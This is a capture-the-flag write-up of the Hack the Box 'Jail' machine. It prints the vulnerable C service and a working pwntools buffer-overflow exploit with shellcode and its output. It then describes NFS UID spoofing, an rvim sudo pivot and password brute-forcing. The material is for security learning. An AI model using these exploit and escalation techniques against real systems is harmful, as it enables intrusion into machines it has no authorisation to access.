Hack the Box has finally retired Jail! Jail is a really fun box with a consistant level of difficulty all the way through, and a really fun ending.

~ » nmap jail.htb -p- -sS -A
Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-10 16:51 EST
Nmap scan report for 10.10.10.34
Host is up (0.15s latency).
Not shown: 65529 filtered ports
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey: 
|   2048 cd:ec:19:7c:da:dc:16:e2:a3:9d:42:f3:18:4b:e6:4d (RSA)
|   256 af:94:9f:2f:21:d0:e0:1d:ae:8e:7f:1d:7b:d7:42:ef (ECDSA)
|_  256 6b:f8:dc:27:4f:1c:89:67:a4:67:c5:ed:07:53:af:97 (EdDSA)
80/tcp    open  http       Apache httpd 2.4.6 ((CentOS))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp   open  rpcbind    2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  3,4         2049/tcp  nfs
|   100003  3,4         2049/udp  nfs
|   100005  1,2,3      20048/tcp  mountd
|   100005  1,2,3      20048/udp  mountd
|   100021  1,3,4      38558/tcp  nlockmgr
|   100021  1,3,4      55799/udp  nlockmgr
|   100024  1          47122/tcp  status
|   100024  1          56299/udp  status
|   100227  3           2049/tcp  nfs_acl
|_  100227  3           2049/udp  nfs_acl
2049/tcp  open  nfs_acl    3 (RPC #100227)
7411/tcp  open  daqstream?
| fingerprint-strings: 
|   DNSStatusRequest, DNSVersionBindReq, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, WMSRequest, X11Probe, afp, giop, oracle-tns: 
|_    OK Ready. Send USER command.
20048/tcp open  mountd     1-3 (RPC #100005)

There is some interesting stuff to parse through here (nfs), but lets just start by scanning the HTTP port.

~ » dirb http://jail.htb
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

[...]                                                       

---- Scanning URL: http://jail.htb/ ----
+ http://jail.htb/admin (CODE:302|SIZE:28) 
[...]
+ http://10.10.10.34/cgi-bin/ (CODE:403|SIZE:210)                                                           
+ http://10.10.10.34/index.html (CODE:200|SIZE:2106)

Nothing interesting, but persistence is key when enumerating. While dirb and its defaults are great for quick and dirty scanning, it will often miss things a larger list would catch. So the next step is to bust out the big guns: dirbuster or gobuster. Using the directory-list-lowercase-2.3-medium.txt list from dirbuster, we hit the jackbot, the jailuser directory. This contains some source code, a build script, and the resulting binary. After looking at the source code briefly, it looks like this is the service listening on port 7411:

#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

int debugmode;
int handle(int sock);
int auth(char *username, char *password);

int auth(char *username, char *password) {
    char userpass[16];
    char *response;
    if (debugmode == 1) {
        printf("Debug: userpass buffer @ %p\n", userpass);
        fflush(stdout);
    }
    if (strcmp(username, "admin") != 0) return 0;
    strcpy(userpass, password);
    if (strcmp(userpass, "1974jailbreak!") == 0) {
        return 1;
    } else {
        printf("Incorrect username and/or password.\n");
        return 0;
    }
    return 0;
}

int handle(int sock) {
    int n;
    int gotuser = 0;
    int gotpass = 0;
    char buffer[1024];
    char strchr[2] = "\n\x00";
    char *token;
    char username[256];
    char password[256];
    debugmode = 0;
    memset(buffer, 0, 256);
    dup2(sock, STDOUT_FILENO);
    dup2(sock, STDERR_FILENO);
    printf("OK Ready. Send USER command.\n");
    fflush(stdout);
    while(1) {
        n = read(sock, buffer, 1024);
        if (n < 0) {
            perror("ERROR reading from socket");
            return 0;
        }
        token = strtok(buffer, strchr);
        while (token != NULL) {
            if (gotuser == 1 && gotpass == 1) {
                break;
            }
            if (strncmp(token, "USER ", 5) == 0) {
                strncpy(username, token+5, sizeof(username));
                gotuser=1;
                if (gotpass == 0) {
                    printf("OK Send PASS command.\n");
                    fflush(stdout);
                }
            } else if (strncmp(token, "PASS ", 5) == 0) {
                strncpy(password, token+5, sizeof(password));
                gotpass=1;
                if (gotuser == 0) {
                    printf("OK Send USER command.\n");
                    fflush(stdout);
                }
            } else if (strncmp(token, "DEBUG", 5) == 0) {
                if (debugmode == 0) {
                    debugmode = 1;
                    printf("OK DEBUG mode on.\n");
                    fflush(stdout);
                } else if (debugmode == 1) {
                    debugmode = 0;
                    printf("OK DEBUG mode off.\n");
                    fflush(stdout);
                }
            }
            token = strtok(NULL, strchr);
        }
        if (gotuser == 1 && gotpass == 1) {
            break;
        }
    }
    if (auth(username, password)) {
        printf("OK Authentication success. Send command.\n");
        fflush(stdout);
        n = read(sock, buffer, 1024);
        if (n < 0) {
            perror("Socket read error");
            return 0;
        }
        if (strncmp(buffer, "OPEN", 4) == 0) {
            printf("OK Jail doors opened.");
            fflush(stdout);
        } else if (strncmp(buffer, "CLOSE", 5) == 0) {
            printf("OK Jail doors closed.");
            fflush(stdout);
        } else {
            printf("ERR Invalid command.\n");
            fflush(stdout);
            return 1;
        }
    } else {
        printf("ERR Authentication failed.\n");
        fflush(stdout);
        return 0;
    }
    return 0;
}

int main(int argc, char *argv[]) {
    int sockfd;
    int newsockfd;
    int port;
    int clientlen;
    char buffer[256];
    struct sockaddr_in server_addr;
    struct sockaddr_in client_addr;
    int n;
    int pid;
    int sockyes;
    sockyes = 1;
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        perror("Socket error");
        exit(1);
    }
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &sockyes, sizeof(int)) == -1) {
        perror("Setsockopt error");
        exit(1);
    }
    memset((char*)&server_addr, 0, sizeof(server_addr));
    port = 7411;
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(port);
    if (bind(sockfd, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) {
        perror("Bind error");
        exit(1);
    }
    listen(sockfd, 200);
    clientlen = sizeof(client_addr);
    while (1) {
        newsockfd = accept(sockfd, (struct sockaddr*)&client_addr, &clientlen);
        if (newsockfd < 0) {
            perror("Accept error");
            exit(1);
        }
        pid = fork();
        if (pid < 0) {
            perror("Fork error");
            exit(1);
        }
        if (pid == 0) {
            close(sockfd);
            exit(handle(newsockfd));
        } else {
            close(newsockfd);
        }
    }
}

It’s pretty clear that this code is vulnerable to a simple buffer overflow. handle calls auth and passes in username and password, both of which are 256 byte arrays. In auth, however, password is copied into a 16 byte array, meaning we have 256 - 16 bytes of overflow. Since we’re calling this binary remotely, we need to execute some code which connects back to us, or binds a port which we can then connect to.

The next step is determining exactly how we execute this code. Luckily for us, the binary is compiled with an executable stack:

[root:~/Documents/htb/jail]# cat compile.sh 
gcc -o jail jail.c -m32 -z execstack
...

This means we can simply overflow the array with shellcode, and don’t have to worry about searching for any ROP gadgets.

So, we know what kind of shellcode we need, and how we can load it into memory. The final step is determining where to jump to. This presents a slight challenge to us, as the binary does have PIE enabled. That means the binary runs at a random(ish) address every time it starts.

[root:~/Documents/htb/jail]# gdb -q jail   
warning: /root/.gdbinit-gef.py: No such file or directory
Reading symbols from jail...(no debugging symbols found)...done.
gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : ENABLED
RELRO     : Partial

Once again (how coincidental :)), this binary presents an easy way around the challenge. If we set debugmode (by sending “DEBUG”) and try to authenticate, it will tell us where the buffer is located. Now that we have all the pieces we need, lets get pwntooling

First, lets import pwntools and set our context:

from pwn import *
context(arch='i386',os='linux')

Next, we need to connect to the remote service:

HOST = '10.10.10.34'
PORT = 7411
r = remote(HOST, PORT)

One of the many awesome things about pwntools is that it can do a lot of the annoying shellcode work for us. It has a module called shellcraft which has architecture specific shellcode for common needs. In this case, we want to find an open socket and open a shell on it, and then jump into that shellcode (address of buffer plus an offset into our NOP-sled):

buf = asm(shellcraft.findpeersh())
sizeof_buffer = 240  # buffer is 256 - 16 (sizeof(userpass)) = 240
nop   = asm(shellcraft.nop())
pad   = nop
addr = 0xffffd610 + 0x30

Finally, we calculate the final payload, and send it:

address_buf = p32(addr) * 8  # address spray
buf = buf.rjust(sizeof_buffer - len(address_buf), pad)
buf = address_buf + buf

log.info("Exploit buf:\n%s" % hexdump(buf, 8))

r.send('DEBUG\n')
sleep(0.1)
r.send('USER admin\n')
sleep(0.1)
r.send('PASS ' + buf + '\x00')
r.interactive()
[root:~/Documents/htb/jail]# python2 win.py
[+] Opening connection to 10.10.10.34 on port 7411: Done
[*] Exploit buf:
    00000000  40 d6 ff ff  40 d6 ff ff  │@···│@···│
    *
    00000020  90 90 90 90  90 90 90 90  │····│····│
    *
    00000098  90 90 90 90  6a ff 6a 07  │····│j·j·│
    000000a0  89 e5 5b 5e  6a 66 58 46  │··[^│jfXF│
    000000a8  8d 4c 24 e0  6a 04 60 cd  │·L│j·`·│
    000000b0  80 85 c0 61  5a 75 ed 89  │···a│Zu··│
    000000b8  f3 6a 03 59  49 6a 3f 58  │·j·Y│Ij?X│
    000000c0  cd 80 75 f8  6a 68 68 2f  │··u·│jhh/│
    000000c8  2f 2f 73 68  2f 62 69 6e   │//sh│/bin│
    000000d0  89 e3 68 01  01 01 01 81  │··h·│····│
    000000d8  34 24 72 69  01 01 31 c9  │4$ri│··1·│
    000000e0  51 6a 04 59  01 e1 51 89  │Qj·Y│··Q·│
    000000e8  e1 31 d2 6a  0b 58 cd 80  │·1·j│·X··│
    000000f0
[*] Switching to interactive mode
OK Ready. Send USER command.
OK DEBUG mode on.
OK Send PASS command.
Debug: userpass buffer @ 0xffffd610
$ whoami
nobody

Step 1: complete. Unfortunately, we’re nobody, so maybe we should go back and look at NFS. Luckily, we can view the NFS exports as nobody:

$ cat /etc/exports
/var/nfsshare *(rw,sync,root_squash,no_all_squash)
/opt *(rw,sync,root_squash,no_all_squash)
$ ls -la /var
total 16
drwxr-xr-x. 23 root root  4096 Jan  9 14:38 .
dr-xr-xr-x. 17 root root   224 Jun 25  2017 ..
-rw-r--r--.  1 root root   163 Jun 25  2017 .updated
drwxr-xr-x.  2 root root    19 Jun 25  2017 account
drwxr-x---.  3 root adm     19 Jul  3  2017 adm
drwxr-xr-x. 15 root root   190 Jun 25  2017 cache
drwxr-xr-x.  2 root root     6 Nov  7  2016 crash
drwxr-xr-x.  3 root root    34 Jun 25  2017 db
drwxr-xr-x.  3 root root    18 Jun 25  2017 empty
drwxr-xr-x.  2 root root     6 Nov  5  2016 games
drwxr-xr-x.  2 root root     6 Nov  5  2016 gopher
drwxr-xr-x.  3 root root    18 Dec  6  2016 kerberos
drwxr-xr-x. 55 root root  4096 Jan  9 14:38 lib
drwxr-xr-x.  2 root root     6 Nov  5  2016 local
lrwxrwxrwx.  1 root root    11 Jun 25  2017 lock -> ../run/lock
drwxr-xr-x. 21 root root  4096 Jan  9 15:43 log
lrwxrwxrwx.  1 root root    10 Jun 25  2017 mail -> spool/mail
drwx-wx--x.  2 root frank   24 Jan 11 06:40 nfsshare
drwxr-xr-x.  2 root root     6 Nov  5  2016 nis
drwxr-xr-x.  2 root root     6 Nov  5  2016 opt
drwxr-xr-x.  2 root root     6 Nov  5  2016 preserve
lrwxrwxrwx.  1 root root     6 Jun 25  2017 run -> ../run
drwxr-xr-x. 12 root root   140 Jun 25  2017 spool
drwxr-xr-x.  4 root root    28 Jun 25  2017 target
drwxrwxrwt.  5 root root   175 Jan 12 19:33 tmp
drwxr-xr-x.  4 root root    33 Jun 25  2017 www
drwxr-xr-x.  2 root root     6 Nov  5  2016 yp

They correctly exported their directorys as root_squash, however no_all_squash could be our way in. Due to the NFS security model, this means that we can create a local user with the same UID/GID as frank on the jail box, mount the nfs share, and use it as if we were frank.

$ cat /etc/passwd
...
frank:x:1000:1000:frank:/home/frank:/bin/bash
...

Let’s mount the nfs directory, create a user named frank and make sure the UID and GID are correct:

$ mkdir /tmp/nfs
$ mount 10.10.10.34:/var/nfsshare nfs
$ useradd frank
$ cat /etc/passwd
...
frank:x:1000:1000::/home/frank:/bin/bash
...
$ su frank

Now we should be able to upload files onto the jail server as if we were frank. The easiest way in from here would be to upload a key to authorized_keys so that we can SSH in as frank, since we saw port 22 was open in our nmap scan.

Since we can upload any kind of file as frank, the way forward is to write a file in C with suid as frank, which writes our public key into /home/frank/.ssh/authorized_keys. Since this is relatively simple, and this is already a long post, I’ll leave that as an exercise to the reader.

Now we can ssh in as frank and can poke around for priv-esc. Once again, sudo -l shows us the way:

$ ssh [email protected]
$ sudo -l
...
(adm) NOPASSWD: /usr/bin/rvim /var/www/html/jailuser/dev/jail.c
...

So, we can’t get root, but we can get adm. Remembering back to our enumeration as nobody, there was a /var/adm folder which adm had access to. Maybe we can take a peek there?

$ sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c

We can’t execute any shell commands in rvim, but we can still use :e to view directories and files. So, if we do :e /var/adm we can see the contents:

../
./
.local/
keys.rar
note.txt

and .local:

.frank

Opening note.txt gives us an encrypted message. Due to all of the repetition, it looks like a simple substituion cipher, and it is (quipqiup suffices):

Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!
[quipqiup]
Hahaha! Nobody will guess my new password! Only a few lucky souls have Escaped from Alcatraz alive like I did!!!

Opening .frank gives us the next huge hint:

Note from Administrator:
Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.

Finally, we can open keys.rar (with :e again) and re-save it anywhere /opt or /tmp for example (:w) so we can access it. We now have a password protected rar with a password of the form [lastname?][\d\d\d\d][special]. Using the encrypted hint, we can Google around and find a Frank Morris who attempted an Alcatraz escape and was never found. That gives us Morris[\d\d\d\d][!|?|@|$|%|^] which is trivially easy to brute force, especially if you guess the most common four digit number would be a year (1900-2018).

When we unrar the file, we get a single public key. From here it seems obvious we need to break the public key, so we use RsaCtfTool, and the rest is easy.